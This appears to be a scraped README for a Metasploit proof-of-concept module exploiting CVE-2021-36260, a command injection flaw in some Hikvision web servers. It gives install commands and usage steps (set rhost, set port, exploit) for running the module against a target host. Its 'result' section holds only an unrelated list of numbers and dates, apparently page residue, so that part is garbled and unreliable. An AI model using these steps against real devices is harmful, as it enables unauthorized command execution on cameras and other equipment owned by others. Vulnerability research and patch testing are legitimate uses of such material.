CVE-2021-36260-metasploit
the metasploit script(POC) about CVE-2021-36260. A command injection vulnerability in the web server of some Hikvision product, attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
preparation POC
git clone https://github.com/TaroballzChen/CVE-2021-36260-metasploit
cd CVE-2021-36260-metasploit
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp hikvision_web_server_build_210702_command_injection.py ~/.msf4/modules/auxiliary/scanner/http/
chmod +x ~/.msf4/modules/auxiliary/scanner/http/hikvision_web_server_build_210702_command_injection.py
msfconsole
POC usage
set rhost <vuln ip/host>
set port <vuln port>
set ssl <default: false for http>
exploit
result
1 Aug 02, 2022
164 Dec 10, 2022
2 Nov 10, 2022
17 Nov 09, 2022
171 Dec 25, 2022
1 Dec 08, 2021
150 Jan 03, 2023
60 Dec 10, 2022
10 Dec 30, 2022
10 Nov 10, 2022
266 Jan 02, 2023
8 Dec 03, 2021
534 Jan 08, 2023
23 Mar 18, 2021
4 Jun 03, 2022
1 Dec 31, 2021
14 Oct 18, 2022
2 Aug 03, 2022
5 Nov 23, 2021